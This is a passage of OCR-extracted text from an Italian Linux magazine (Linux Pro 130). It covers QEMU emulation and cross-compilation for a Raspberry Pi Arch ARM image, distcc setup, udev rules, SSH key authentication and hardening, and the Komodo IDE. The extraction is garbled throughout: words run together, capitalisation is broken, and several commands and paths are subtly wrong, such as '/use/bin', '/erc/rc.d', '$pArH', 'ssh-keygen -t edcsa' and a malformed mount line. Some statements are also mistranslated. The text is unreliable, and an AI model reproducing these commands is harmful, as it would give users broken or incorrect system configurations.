farsi l’immagine sul proprio PcGrazie all’emulazione, si può usare mkarchroot per creare una directory archroot che faccia le veci della rp vera e propria. Sarà necessario solo confi gurare il gestore di pacchetti per scaricare il software per ArM oltre a modifi care mkarchroot

(è un semplice script Bash) per installare qemu-arm-static all’interno di archroot. Questa è la tessera fi nale del rompicapo che vi permette di avere su hardware x86 un ambiente ArM al 100%, completo della possibilità di installare, compilare, ecc.

$ make -j 8 ArCH=arm CroSS_CoMpiLE= arm-linux-gnueabi- -k $ mkdir -p modules $ make -j 8 -k ArCH=arm CroSS_CoMpiLE=arm-linux- gnueabi- modules_install inSTALL_MoD_pATH=modulesAl termine della compilazione, si possono ricopiare kernel e moduli nella rp per poi fare un reboot (magari è meglio fare una copia di sicurezza di kernel e moduli originali: non si sa mai): $ scp arch/arm/boot/image [email protected]:/boot/ kernel/img $ cd modules/lib/modules $ tar cJf - * | ssh [email protected] ‘(cd /usr/lib/modules; tar xjf -)’ $ ssh [email protected] rebootin alternativa alla procedura qui illustrata, è possibile installare il tutto nella directory archboot prima di creare l’immagine. in tal caso, occorre copiare arch/arm/boot/image in archboot/boot/kernel.img e modules/lib/module in archboot/usr/lib.

e l’emulatore no?L’alternativa all’hardware “fi sico” è far girare l’immagine da 2 GiB tramite emulatore, un emulatore ArM, ovviamente. Qemu è perfetto per tale scopo, potendo eseguire codice ArM sopra hardware x86: installandolo con pacman -S qemu, create una directory e spostatevi dentro l’immagine. Avete bisogno anche di un kernel creato appositamente, ma per fortuna qualcuno lo ha già fatto: installate il pacchetto relativo (kernel-qemu) e copiatelo nella directory di lavoro dopodiché attivate il tutto con qemu-system-arm -machine versatilepb -cpu arm1176 -m 256 -no-reboot -serial stdio -kernel kernel-qemu -append “root=/dev/sda2 panic=1” -hda myimageQui avete un’intera macchina virtuale emulata da Qemu, ma esiste anche un’altra “magia” che permette di eseguire un programma ArM su un hardware x86 e cioè direttamente dalla riga di comando. È ciò che in gergo si chiama emulazione trasparente e sfrutta una caratteristica del kernel chiamata binfmt-misc per dire a Qemu di eseguire “al volo” codice ArM: per fare questo, però serve qualche trucco... primo, occorre poter accedere a /proc/sys/fs/binfmt_misc, ma se tale percorso è assente, provvedete con # mount binfmt_misc -t /binfmt_misc /proc/sys/fs/binfmt_miscora dovete assegnare l’eseguibile ArM al kernel: echo ‘:arm:M::\x7ELF\x01\x01\x01\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\ x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm- static:’ > /proc/sys/fs/binfmt_misc/registeruna volta attivata la registrazione, qualunque tentativo di mandare in esecuzione codice ArM verrà ridirezionato verso Qemu in modo trasparente. inserire /usr/bin/qemu-arm-static nel sistema permetterà di usare chroot ma, per tale attività, serve una versione di Qemu che non utilizzi librerie condivise, poiché ci saranno solo librerie per ArM all’interno dell’ambiente “chroot-ato”. Ecco spiegato, speriamo bene, l’utilizzo di qemu-arm-static. Sfortunatamente, solo poche distro forniscono Qemu con librerie linkate staticamente, ne consegue che sarà necessario realizzarlo per conto proprio, per poi installarlo in /usr/bin/qemu-arm-static. Come creare Qemu statico esula dallo scopo di questo tutorial, si faccia riferimento al sito uffi ciale del progetto Qemu per trovare le istruzioni. Supponendo di aver fatto tutto come si deve, avendo installato qemu-arc-static sul vostro x86 in /usr/bin e nella directory di lavoro archroot/usr/bin, allora

sarete in grado di fare chroot sul sistema ArM per, ad esempio, provvedere all’istallazione di nuovi software tramite pacman. Anche se queste tecniche rendono semplice la gestione di ambienti ArM su hardware x86, le cose si complicano se avete la necessità di preparare pacchetti, perché tale attività comporta la gestione delle dipendenze. in un ambiente cross-Cpu è un problema, in quanto makepkg si aspetta che le dipendenze vengano risolte, ma non è possibile installare pacchetti ArM su x86! La strada più semplice consiste nell’usare i muscoli di x86 per usare distcc e creare tutti pacchetti contenenti le dipendenze necessarie. il trucco è installare distcc sia su raspberry che sul desxtop x86: in questo modo, usando makepkg sulla rp, distcc farà da canale di comunicazione con l’x86 che fornirà la potenza elaborativa necessaria ad accelerare tutte le compilazioni. procedete quindi all’installazione (su ArM e x86) con il solito pacman -S distcc. La rp è il client che lancia i comandi, provvedete a impostare il fi le di confi gurazione per poter “parlare” con il server x86 editando il fi le /etc/makepkg.conf come segue: BuiLDEnV=(fakeroot distcc color !ccache) DiSTCC_HoSTS=“192.168.1.20” MAKEFLAGS=“-j8”il pC è il server che farà il lavoro pesante e per chi, quindi occorre defi nire l’ip del client confi gurando il fi le /etc/conf.d/distcc. Se il servizio non parte al boot, attivatelo con # /etc/init.d/distccd startora che client e server sono confi gurati, lanciando makepkg sul client (la rp), la compilazione verrà eseguita dal server (l’x86). ovviamente bisogna dire al server di usare il compilatore per ArM, in quanto distcc usa di default gcc, che avete visto debba essere sostituito da arm-linux-gnueabi-gcc: nulla di più facile, basterà creare un link ad hoc come segue: # ln -s /usr/bin/arm-linux-gnueabi/gcc /use/bin/arm-linux-gnueabi-gcc # sed -i -e ‘/^piD=/ipATH=/use/bin/arm-linux- gnueabi:\$pArH’ /erc/rc.d/distcc

Stravolgendo il tuttoSi potrebbe pensare che la schedina SD non sia il posto migliore per la root di sistema. non è complicato spostare la root altrove, magari su una pennetta o un disco esterno uSB: tutto quello che vi serve è fare una copia della root da SD a uSB, ridimensionandola alla fi ne della copia con # dd if=/dev/mmcblk0p2 of=/dev/sda1 bs=4M # fsck /dev/sda1 # resize2fs /dev/sda1Basta editare /boot/cmdline.txt per cambiare il percorso della root nel fi le di boot, dove root=/dev/mmcblk0p2 andrà sostituito con root=/dev/sda1. ora un bel reboot e vi ritroverete la partizione principale su uSB, da cui se ne deduce che o il kernel ha i moduli di supporto compilati al suo interno o il sistema andrà in blocco: di solito lo sono, per cui nessun problema di kernel panic. lXP

LXP130_70-73_Raspberry 73 06/06/13 12:25

Page 76: Linuxpro 130 Giugno 2013

74 Linux pro 130

il credo unix è “qualunque cosa è un file”, e con “qualunque cosa” si intendono inclusi anche i dispositivi. Quando inserite una chiavetta

uSB o una webcam, il dispositivo compare come file nella cartella /dev, ma come avviene questo processo? una volta erano necessarie arcane invocazioni del comando mknod, referenziate alle liste sacre dei numeri inferiori o superiori di dispositivo; oggi basta semplicemente inserire il dispositivo nel connettore che può accettarlo. il magico strumento che si occupa di tutto è udev che funziona sia come filesystem dinamico sia come gestore di dispositivi. Al boot del sistema, udev crea un filesystem virtuale nella cartella /dev, simile a quello che si vede in /proc o in /sys, dove risiedono tutti i nodi dispositivo per l’hardware rilevato dal kernel. Dopodiché si mette in attesa delle segnalazioni del kernel relative a eventi sull’hardware di sistema, creando o rimuovendo al volo nodi dispositivo per memorie di massa, adattatori di rete, interfacce video e qualsiasi altra cosa che possa essere collegata o rimossa durante il funzionamento normale. La sua funzione può sembrare la stessa svolta dal predecessore devfs, ma udev risiede interamente nello spazio utente e non è quindi un processo del kernel, che rileva sì la presenza del dispositivo, ma lascia a udev il compito di crearne il nodo: ciò significa che udev può comunque operare anche prima che venga creato il nodo di dispositivo. Tutte queste operazioni sono eseguite seguendo regole precise – contenute in file di testo e che specificano condizioni e azioni: se un dispositivo soddisfa un insieme di condizioni date, vengono eseguite le azioni stabilite. Detti file di regole risiedono all’interno di due cartelle ben definite: /lib/udev/rues.d e /etc/udev/rules.d. La prima di esse contiene le regole installate da udev stesso e da altri pacchetti – per esempio, SAnE installa un enorme file che definisce quali azioni devono essere eseguite quando viene rilevato uno scanner. La seconda cartella invece contiene sia regole installate dai pacchetti che regole definite dagli utenti – ed è quindi la parte di interesse per noi. prima di iniziare a giocherellare con i file contenuti in essa, è bene ricordare

che ogni file già presente è stato installato da qualche pacchetto e può di fatto essere sovrascritto in fase di aggiornamento dello stesso, quindi è consigliabile scrivere regole personalizzate in file distinti da quelli già presenti. il nome di questi file deve necessariamente iniziare con un numero d’ordine, che stabilisce l’ordine di lettura da parte di udev, e deve avere rules come estensione. nello stabilire l’ordine di lettura, udev considera solo il nome del file e non il pATH, quindi i file seguenti lib/udev/rules.d/10-pippo.rules /etc/udev/rules.d/20-pluto.rules /lib/udev/rules.d/30-paperino.rulessono letti esattamente nell’ordine mostrato. Solo nel caso di file di regole con lo stesso nome il pATH entra in gioco e viene letto solo il file che si trova nella cartella /etc. Se si desidera che un insieme di regole venga letto “presto”, occorre quindi attribuirgli un nome che inizia per 10, mentre se si desidera che venga letto per ultimo occorre che il suo nome sia del tipo 90-qualcosa.

Condizioni e assegnamentiregola è ogni singola riga di testo in un file .rules: in ognuna di esse ci sono molte coppie parametro/valore. All’atto pratico, almeno due regole sono necessarie: una che esprime una condizione da testare e una che stabilisce un assegnamento che, nel caso il test abbia successo, deve essere eseguito. per esempio: DriVErS= =”sd”, ATTrS{vendor}= =”Google”, SYMLinK=”android”La prima riga è un insieme di due test; l’operatore == viene prima usato per verificare se un dispositivo connesso è o meno un dispositivo di memoria, e poi per controllare se l’attributo standard ATTRS{vendor} è uguale a Google. Se ambo i test hanno risultato positivo, il dispositivo è un cellulare Android. A questo punto viene eseguito l’assegnamento nella seconda riga, che crea un collegamento simbolico al dispositivo corrispondente secondo il kernel, per esempio da /dev/sdc/ a /dev/android. perfetto, ma come si fa a sapere la condizione da verificare? udev ci aiuta in questo compito con il comando udevadmin. Se per esempio colleghiamo un qualsiasi dispositivo con interfaccia uSB alla nostra Linux box, prendendo nota del nome di dispositivo che gli viene associato dal kernel, per esempio /dev/sdb1, aprendo il terminale e digitando il comando udevadm info --name /dev/sdb1otterremo tutta una serie di informazioni utili per aiutarci a capire con cosa abbiamo a che fare. Queste informazioni non sono però ancora nel formato richiesto per le regole udev. per ottenere informazioni in un formato direttamente usabile dal nostro strumento, occorre digitare il comando udevadm info --attribute-walk –name /dev/sdb1 | lessCome il piping con less ha forse già fatto intuire, il comando ha un output molto voluminoso. non fornisce solo informazioni sul dispositivo, ma percorre anche l’albero delle cartelle associate, mostrando attributi di tutti i nodi parenti a partire da /udev/sdb fino ad arrivare al controller uSB. È chiaramente possibile scorrere l’intera mole di dati

Un esempio di lista di attributi di un dispositivo ottenuta con udevadm. Il modello e il produttore sono chiaramente visibili e possono essere usati per identificare il dispositivo

InTeRmedIo

Amministrazione di sistema Configurare il vostro hardware con questo magico gestore di dispositivi

Udev: archiviare con il vostro computeresiste un luogo dove il vostro sistema GnU/Linux nasconde i suoi più oscuri e reconditi segreti e Linux Pro vi ci farà dare una sbirciata. Tenetevi pronti a fare grandi scoperte

LXP130_74-75_udev 74 06/06/13 17:01

Page 77: Linuxpro 130 Giugno 2013

Amministrazione di sistema Tutorial

Linux pro 130 75

generati, ma quelli che realmente interessano sono contenuti nel primo blocco e il loro formato è quello richiesto dalle regole udev, quindi possiamo copiare e incollare le righe rilevanti nel file opportuno. Se si desidera decidere in base alla verifica di più attributi congiuntamente, tutti questi devono comunque appartenere allo stesso blocco, e la regola è applicata solo se tutti i test hanno successo. Se invece si desidera verificare che almeno uno tra più attributi di un dato insieme sia verificato, occorre creare una regola per la verifica di ciascuno degli attributi membri. Venendo agli assegnamenti, creare link simbolici è una operazione banale, ma è possibile fare molto di più. per esempio, dando uno sguardo in /dev/disk si possono trovare diverse sottocartelle, come by-id e by-partlabel. in ognuna di esse sono contenuti link simbolici che identificano tutti i dischi e le partizioni tramite il loro uuiD e le label del filesystem. Se il vostro filesystem utilizza gli uuiD in /etc/fstab, vi verrà mostrato a cosa si riferiscono in termini di dischi fisici. Tutti questi link sono creati automaticamente da udev al boot del sistema. Altri assegnamenti che potete fare sono, per esempio, oWneR, GRoUP e mode che cambiano il proprietario e i permessi del nodo del dispositivo dato. per esempio, un problema in cui ci si può imbattere a causa di permessi troppo restrittivi associati a detto nodo è trovare uno scanner che né SAnE né GIMP riescono a vedere, ma che è visibile dal superutente. Si può cambiare tutto questo semplicemente fissando una nuova regola: per esempio, noi abbiamo impostato la seguente per poter usare uno scanner che dava proprio il comportamento descritto. ATTrS{product}==“CanoScan”, ATTrS{manufacturer}==“Canon”, Group:=“scanner”, MoDE:=“0666”, SYMLinK=“scanner”dove := è un assegnamento prioritario che, contrariamente a = non può essere annullato da assegnamenti successivi. La regola assegna il dispositivo al gruppo scanner, concedendo anche i diritti di scrittura e quindi rendendolo di fatto usabile da tutti i membri del gruppo. in un sistema a singolo utilizzatore sarebbe bastato semplicemente assegnare 0666 al parametro MoDE, ma la soluzione riportata è quella convenzionale e formalmente corretta. rinominare i nodi dispositivo non è più possibile, ma è possibile rinominare le interfacce di rete. Se avete a disposizione più di una scheda di rete, installate per esempio su un sistema che fa da router o firewall, è naturale che desideriate assegnare a ognuna di esse lo stesso indirizzo, siccome scambiare le schede di rete in un firewall può avere effetti disastrosi per ovvi motivi. udev può farlo controllando gli indirizzi MAC di ciascuna scheda, così come appaiono elencati sotto la dicitura “Ethernet” nell’output del comando ifconfig, con una regola simile a quella mostrata qui di seguito: SuBSYSTEM==“net”, ATTr{address}== “e8:11:32:09:63:82”, nAME=“eth0” SuBSYSTEM==“net”, ATTr{address}== “50:e5:49:bd:le:45”, nAME=“eth1”Se vi è mai capitato di cambiare una scheda Ethernet, potreste esservi chiesti perché la nuova scheda appare invariabilmente come eth1. La ragione è che, in queste occasioni, un file udev viene creato automaticamente: si tratta di /etc/udev/rules.d/70-persistent-net.rules, e contiene regole molto simili a quelle appena descritte. Siccome a eth0 è stato assegnato in precedenza il vecchio indirizzo, al nuovo deve essere assegnato il successivo nome di dispositivo disponibile. Se avete quindi sostituito la scheda con una nuova, potete editare il file cambiando la regola di interesse o cancellarlo completamente, per vedervelo

ricreato automaticamente con le assegnazioni corrette al successivo reboot. ricordiamo infine che, siccome le regole di rete persistenti non sono più supportate da udev, volendo fissare i nomi di rete nelle distribuzioni più recenti occorre creare dette regole manualmente nel formato mostrato sopra, vale a dire controllando prima con SUBSYSTem che il dispositivo sia effettivamente una scheda di rete, poi che sia la scheda di rete giusta con l’indirizzo MAC.

non cambiate le regolenon lasciatevi tentare dal modificare file di regole già esistenti: come abbiamo già detto, questi sono stati installati dal vostro gestore di pacchetti e possono essere sostituiti senza preavviso durante un normale aggiornamento. Createne invece di vostri nella cartella /etc/udev/rules.d: se volete modificare una regola preesistente, vi basterà copiarla in un vostro file all’interno di questa cartella, e dandogli un numero d’ordine maggiore di quello che contiene la regola originaria vi assicurerete che la vostra modifica avrà la priorità. potete anche forzare la priorità dei vostri assegnamenti usando := in luogo di =, assicurandovi in questo modo che non venga annullata da una regola successiva. oltre a cambiare i nodi di dispositivo, udev può anche eseguire dei programmi. il programma usb_modeswitch per il dongle 3G usa le regole udev per commutare un dispositivo supportato dalla modalità di funzionamento come memoria di massa a quella come modem: non è quindi più necessario eseguire manualmente un programma per usare questi dispositivi. Comunque è bene ricordare che, durante l’esecuzione dei programmi, udev è bloccato, quindi può essere effettivamente usato per eseguire solo programmi che forniscono i loro risultati in tempi rapidi. Se il programma che volete usare non rientra in questa categoria, potete comunque usare il seguente artificio: mettete il comando di invocazione di detto programma in uno script eseguibile, che chiamerete tramite la regola giustapponendo il simbolo & che interrompe immediatamente lo script. per esempio, la seguente regola KErnEL==“sd[a-z]1”, ATTrS{model}==“DMC-TZ30”, run=“/usr/local/bin/copyphotos.sh $devnode &”usa l’opzione KeRneL per determinare il nome di un dato modello, il relativo attributo e abbinarlo a una particolare fotocamera digitale. Quando questo dispositivo viene connesso, udev esegue lo script riportato qui di seguito, passando il nome del dispositivo rilevato come argomento. #!/bin/sh pmount $1 camera mv /media/camera/DCiM/100_pAnA/*.JpG /home/Lxp/immagini/nuove pumount /media/cameraLo script monta la fotocamera usando il nome di dispositivo passatogli da udev, copia le eventuali fotografie in una cartella specifica nella home, poi la smonta. il demone udev gira con privilegi di superutente, quindi ogni comando che esegue viene avviato con gli stessi diritti: è una cosa che dovete sempre considerare quando lo usate, perché questo implica in particolare che i dispositivi montati sono scrivibili solamente se si hanno detti diritti. nel caso appena visto, risulta che le fotografie copiate appartengono al superutente: per ovviare vi basterà aggiungere un comando per cambiarne i diritti al termine dello script visto. infine, potete imparare molto di più su udev leggendo la sua pagina del manuale, guardando qualcuno dei file di regole del vostro sistema, e svariati tutorial online: in particolare, quello all’indirizzo www.reactivated.net/udevrules.php. LXP

LXP130_74-75_udev 75 06/06/13 17:01

Page 78: Linuxpro 130 Giugno 2013

76 LINUX PRO 130

SSH, ovvero Secure Shell, è qualcosa con cui molti di voi hanno sicuramente familiarità. Tuttavia è importante ricordare come dietro

a questo protocollo ci sia molto più del semplice uso di un terminale per collegare due PC tra loro. Per tutti coloro che non hanno dimestichezza con SSH, vale la pena ricordare a cosa serve. In poche e semplici parole, permette di stabilire una connessione cifrata tra più terminali, usando un’interfaccia a riga di comando. Tutto il traffi co dati viene quindi crittografato, compresi gli scambi di password ed è quindi perfetto per realizzare collegamenti sicuri tra più computer. Normalmente potete lanciarlo con: ssh utente@hostnameA questo punto SSH si connette all’host remoto e, prima di aprire la shell di default, richiederà la password dell’utente che ha richiesto il collegamento. È anche possibile omettere il prefi sso utente@, ma in questo caso vi collegate tramite lo username che state usando, facendo in modo che sulla macchina remota vengano utilizzate le impostazioni predefi nite per quello specifi co utente. Servirsi di una password d’accesso, però, può non essere la soluzione migliore. Oltre che essere scomodo, spesso è poco sicuro. SSH, infatti, offre un’alternativa interessante e funzionale basata su chiavi di autenticazione. In pratica si utilizzano una coppia di chiavi, una pubblica che rimane memorizzata nel server e una privata in possesso dell’utente. Il PC che tenta di accedere all’altro computer tramite SSH, dimostrando di avere la chiave privata, è autorizzato a entrare. Questo sistema evita di reinserire la password a ogni sessione e magari lasciarla memorizzata in dispositivi che possono essere persi o rubati facilmente, come gli smartphone. Potete impostare la chiave nel vostro computer locale tramite: ssh-keygen -t edcsaLa -t regola il tipo di chiave, tra cui rsa, dsa o edcsa. Quest’ultima viene usata come impostazione di default nella nuova versione di SSH, ma non supporta quelle

più vecchie, quindi il più delle volte potrebbe essere necessario servirsi di dsa. Dopo aver completato i primi passaggi, si crea una coppia di chiavi in ~/.ssh che, a seconda del tipo, si chiameranno id_ecdsa e id_ecdsa.pub. Il .pub sta a indicare la chiave pubblica, che deve essere copiata nel computer remoto, mentre la prima è quella privata e non deve mai essere condivisa. A questo punto si può copiare la chiave pubblica nel server con il comando ssh-copy-id -i ~/.ssh/id_edcsa.pub utente@hostnameUna volta immessa la password di accesso al computer remoto, potete copiare la chiave pubblica. La prossima volta che tenterete di collegarvi tramite SSH dallo stesso PC e con il medesimo account utente che avete usato per creare le chiavi, non verrà richiesta alcuna parola di accesso. Per blindare ancora meglio il processo di autenticazione ed evitare che qualcuno possa sfruttare la password, la si può disabilitare. In questo modo solo gli utenti registrati possono collegarsi. Per farlo è necessario accedere con root o sudo al server remoto, quindi modifi care il fi le /etc/ssh/sshd_confi g. Individuate la riga: PasswordAuthentication yese, al posto di yes, mettete no. Non resta che riavviare SSH. Potete agire facilmente anche su root, impostando: PermitRootLogin no PermitRootLogin without-password È importante ricordare che la password di login per l’account root dovrebbe sempre essere disabilitata, proprio perché è l’unica che un utente può conoscere a priori.

Lanciare un programmaSSH può fare molto di più che aprire una semplice sessione da terminale. Per esempio può eseguire programmi. ssh utente@computer unprogramma --argomentipermette di accedere al computer remoto, eseguire un’applicazione e poi uscire. Non si apre alcuna shell e tutto l’output viene visualizzato sul terminale locale. Fate attenzione ai caratteri speciali e, prima di utilizzarli in SSH, controllateli nella shell locale. Se provate a usare ssh altromiocomputer ls *.jpgnon vi aspettate che funzioni, perché quello che otterrete sarà solo una sequela di errori del tipo “fi le non trovato”. SSH non accetta i caratteri speciali, come per esempio *, salvo che siano quotati in modo da non essere interpretati. Il comando precedente, quindi, diventa: ssh altromiocomputer ls \*.jpgSSH non limita la sua attività al terminale, ma è possibile eseguire le applicazioni grafi camente. Prima di tutto assicuratevi che /etc/ssh/sshd_confi g contains contenga X11Forwarding yesquindi richiamate ssh sia con l’opzione -X sia -Y. La prima corrisponde a un’ulteriore fattore di sicurezza, così che -Y viene usato solo quando -X non esegue quello di cui avete bisogno, facendolo sempre e comunque tramite una rete sicura. ssh -X altromiocomputer systemsettingsSe il router è impostato per ricevere una connessione tramite la porta 22, vale a dire quella utilizzata

Un programma che sta funzionando sotto connessione SSH, come unica traccia, lascia trasparire solo l’hostname del computer remoto nel titolo della fi nestra

INTERMEDIO

Networking Accedi al tuo computer dovunque

Connessioni sicure via SSHEcco come usare la Secure Shell per collegare due sistemi tra loro e fare in modo che dialoghino nel modo più sicuro e funzionale possibile

LXP130_76-77_SSH 76 06/06/13 12:25

Page 79: Linuxpro 130 Giugno 2013

LINUX PRO 130 77

Networking Tutorial

comunemente da SSH, potete accedere al vostro computer da qualsiasi luogo. C’è però un problema da non sottovalutare: questa porta viene spesso sfruttata dagli “script kiddie”, con il risultato di trovarvi il registro di log pieno di accessi non riusciti. Nonostante l’uso delle chiavi pubbliche e private gli impedisca di accedere, non risolve il fastidio dei continui tentativi. Una soluzione semplicissima e usata frequentemente consiste nel dirottare la connessione SSH su una porta non standard. Se il router ha la possibilità di eseguire un port forwarding, basta scegliere una porta non utilizzata da destinare alle connessioni SSH. Quando accedete, non dovrete fare altro che ricordare il numero della porta su cui avete dirottato la connessione. Ovviamente è essenziale utilizzare l’IP esterno o il nome host del computer. ssh -p 5678 [email protected] il router non può dirottare il traffi co, ma destinare solo un’altra porta a SSH, avrete due porte in ascolto su SSH. Questo signifi ca che la 22 continua a funzionare localmente. Usate questo comando in sshd_confi g: Port 22 Port 5678Quando tentate di collegarvi dall’esterno, non dovete fare altro che ricordare la nuova porta. Adesso aggiungete a ~/.ssh/ssh_confi g: Host external hostname (or IP address} Port 5678Qualsiasi comando riportato dopo la riga Host che identifi ca i computer a cui vi riferite, è applicato ai soli terminali inseriti in lista. Questo fi no a quando non riportate un’altra riga Host che indichi altri PC. Tutti i parametri globali riguardanti il complesso delle macchine collegate devono essere inseriti prima della linea Host *. Volendo, potete usare /etc/ssh_confi g per tutti gli utenti.

BlacklistUn altro espediente per affrontare i tentativi di login non autorizzati con SSH, soprattutto se non si ha la possibilità di dirottare la connessione verso una porta personalizzata, è quello di implementare un blocco automatico degli IP. Esistono una serie di programmi che permettono di confi gurare una lista nera degli indirizzi indesiderati. Fail2ban (www.fail2ban.org) è un’applicazione, come molte altre, capace di scansionare i fi le di log in cerca di attività pericolose. Nel caso di SSH, dove di solito più tentativi di accesso con nomi utente diversi dello stesso IP corrispondono a comportamenti sospetti, fail2ban crea automaticamente una regola del fi rewall che blocca la richiesta di connessione da parte di un determinato indirizzo IP. Fail2ban funziona perfi no con server Apache e può essere confi gurato per agire diversamente o per inviare un’email dove vi avverte dei tentativi di connessione. Tuttavia l’impostazione predefi nita è il blocco preventivo. Solitamente è suffi ciente installarlo dal comune gestore pacchetti e verifi care che il servizio venga avviato. Per stare ancora più tranquilli, è consigliabile utilizzare un programma simile a Logwatch (www.logwatch.org), il cui compito è inviarvi un’email al giorno con un riassunto di tutta l’attività di sistema. Un’altra applicazione dedicata a tutti coloro che sfruttano SSH è screen (www.gnu.org/software/screen). Se si esegue un programma in una shell remota e la connessione di rete si blocca, la shell

stessa s’interrompe con tutto ciò che dipende da essa, programmi compresi. Screen è un terminale multiplo e permette di eseguire operazioni su più fi nestre. Avviate il programma, quindi premete Ctrl+A seguito da D, così che il terminale scompaia. Lanciate screen -rper far comparire di nuovo il terminale. Quando si usa SSH, questa funzione è comodissima poiché consente di lavorare con il protocollo e nello stesso tempo fare altre cose. Basta far sparire la fi nestra e renderla visibile nel momento in cui ne avete bisogno. Se la connessione s’interrompe, è suffi ciente riconnettersi ed eseguire il comando screen -r.

Distributed ShellNormalmente usate SSH per connettervi da un computer a un altro, ma se l’obiettivo fosse eseguire un comando su più macchine appartenenti alla vostra rete? Si può fare, a patto di usare DSH (www.netfort.gr.jp/~dancer/software/dsh.html.en), una particolare shell distribuita. L’utilizzo di base prevede dsh -m utente1@host1 -m utente2@host2 comandoin cui è possibile aggiungere tutti gli host che desiderate. Per usare DSH è fondamentale sfruttare l’autenticazione tramite chiave pubblica e privata, altrimenti vi trovereste a inserire una quantità impressionante di password. Per evitare di immettere ogni singolo hostname, potete elencarli come gruppo in /etc/dsh/groups/: utente1@host1 utente2@host2 host3La regola di SSH vuole che il nome utente utilizzato sia quello cui siete collegati, a meno di non specifi carli diversamente. Eseguite quindi il comando con dsh -g nomegruppo comandodove nomegruppo è il nome del fi le in /etc/dsh/groups. Basta solo il nome, non il percorso completo. Potete impostare anche un gruppo predefi nito in /etc/dsh/machines.list, dopodiché eseguire lo stesso comando verso tutti con dsh -a comandoDi solito il comando viene eseguito simultaneamente in tutti i computer collegati. Va benissimo se ciò che lanciate non richiede una quantità ingente di risorse, ma se preferite un avvio per singolo terminale, in ogni linea dovete inserire il prefi sso che contraddistingue il nome di ciascun PC. In questo caso aggiungete -w, così da ordinare a DSH di attendere il termine del comando in ogni macchina prima di lanciarlo nella prossima. Tutte le opzioni possono essere gestite in /etc/dsh/dsh.conf. LXP

Per tenere a bada gli script kiddie, conviene cambiare la porta 22 usata di default da SSH. Basta sceglierne una libera

LXP130_76-77_SSH 77 06/06/13 12:25

Page 80: Linuxpro 130 Giugno 2013

78 Linux pro 130

Concetti

Diverse volte nel corso dei tutorial precedenti vi abbiamo invitato a utilizzare un editor dotato di evidenziazione della sintassi per scrivere

il vostro codice. utilizzando un editor come Kate o Gedit, con il vostro linguaggio selezionato per l’highlighting, si evidenziano i diversi elementi del vostro codice con differenti colorazioni. C’è una buona ragione per cui questa funzione rende la vostra vita più semplice; quando siete poco esperti in un linguaggio, l’evidenziazione della sintassi vi permette di capire a colpo d’occhio quando un elemento non è riconosciuto dal linguaggio, quando le parentesi non sono ben bilanciate o più semplicemente quando all’interno del vostro codice c’è un errore di battitura o di formattazione. Ma questa soluzione offre benefici anche per i programmatori più esperti, che non dovendo preoccuparsi troppo di commettere errori di battitura possono dedicarsi a scrivere codice molto più velocemente. probabilmente è per questo motivo che anche l’editor Emacs del celeberrimo richard Stallman offre un ottimo supporto alla syntax highlighting. Questa funzione è tanto utile per i principianti quanto per i più esperti perché vi solleva da alcune incombenze permettendovi di dedicare maggior tempo alla programmazione vera e propria, questo è il motivo per cui, anche se siete dei principianti, vale la pena spendere un po’ di tempo per trovare un ambiente di sviluppo con cui possiate crescere, e che possa gestire i vostri progetti anche quando aumenteranno di complessità. Gli editor di testo sono ottimi per modificare un progetto di un solo file che si basa su un linguaggio interpretato, ma la gestione di progetti più grandi può essere problematica. È in questi casi che gli IDE (acronimo di integrated Develpoment Enviroment, in italiano ambienti di sviluppo integrati) entrano in gioco. non si occupano

soltanto di gestire i diversi file appartenenti a un progetto, ma pensano anche a come trasformare tutti questi file in un unico eseguibile, oltre che aiutarvi a utilizzare funzioni appartenenti a un file all’interno di un altro file del progetto. Questo può non essere particolarmente utile in python, ma la maggior parte degli iDE lavora allo stesso modo, quindi potete portare le vostre conoscenze con voi quando cambiate linguaggio o iDE. per capire meglio quali sono le potenzialità di un iDE, anche per i principianti, andremo ora a vedere alcune funzioni essenziali e il loro utilizzo all’interno di un progetto.

Komodopraticamente in tutti gli esempi che abbiamo fatto durante questi tutorial abbiamo utilizzato python come linguaggio di programmazione per il nostro codice. Abbiamo anche nominato alcuni degli iDE disponibili per python, come Eric, ma non abbiamo mai parlato delle alternative disponibili, di come utilizzarle contestualmente al linguaggio e di come le funzionalità di base siano comuni alla maggior parte degli iDE anche per gli altri linguaggi. Esistono moltissimi iDE per python ma molti dei più famosi, forse perché sono cross-platform, sono a pagamento. Siccome un iDE commerciale di solito non è la prima scelta di chi inizia a programmare, andremo a prendere in esame un’alternativa free. Quella che abbiamo scelto si chiama Komodo Edit. È open Source e abbastanza completo, ma è anche il fratellino piccolo di una versione chiusa e commerciale chiamata Komodo IDE, quindi le vostre competenze potranno tranquillamente essere riutilizzate se un giorno decideste di passare alla versione più completa. installarlo dopo averlo scaricato è tanto facile quanto decomprimere un tar, eseguire ./install.sh ed inserire la directory di destinazione. La maggior parte delle distribuzioni mostrerà un’icona sul desktop una volta terminata l’installazione, oppure potete eseguire a mano l’eseguibile bin/komodo all’interno della directory di installazione. La prima schermata che vedrete potrebbe spaventarvi un po’ dato che la configurazione di default offre un’enorme area dedicata alle news contenente degli avvisi che pubblicizzano la versione commerciale. Ma se spendete qualche momento cercando di prendere confidenza con l’interfaccia, presto vi sembrerà di essere a casa. nei due pannelli sulla sinistra, per esempio, trovate un semplice file manager in alto e una vista del progetto in basso. Progetto è il nome che gli iDE danno all’insieme del codice, dei file di configurazione e dei file dell’iDE stesso che concorrono a creare un’applicazione. potete creare un nuovo progetto cliccando sulla piccola rotellina nel pannello corrispondente; una volta creato un nuovo progetto potete trascinare dei file al suo interno, oppure potete creare nuovi file cliccando sul nome del progetto con il tasto destro. Vi suggeriamo di iniziare creando file dal template python3. La schermata di creazione file offre un’ampia gamma di linguaggi diversi, ovviamente

L’evidenziazione della sintassi e il completamento automatico sono due dei motivi principali che spingono a utilizzare un IDE come Komodo

Scrivere codice con un IDELo staff di Linux Pro vi spiegherà perché non è mai troppo presto per utilizzare un ambiente di sviluppo integrato al posto di un normale editor di testo

LXP130_78-79_concetti 78 06/06/13 01:51

Page 81: Linuxpro 130 Giugno 2013

Linux pro 130 79

Concetti

tutti supportati da Komodo, ma in sostanza tutto quello che fa la creazione da template è aggiungere una variabile d’ambiente in testa al file e assicurarsi che l’estensione sia corretta.

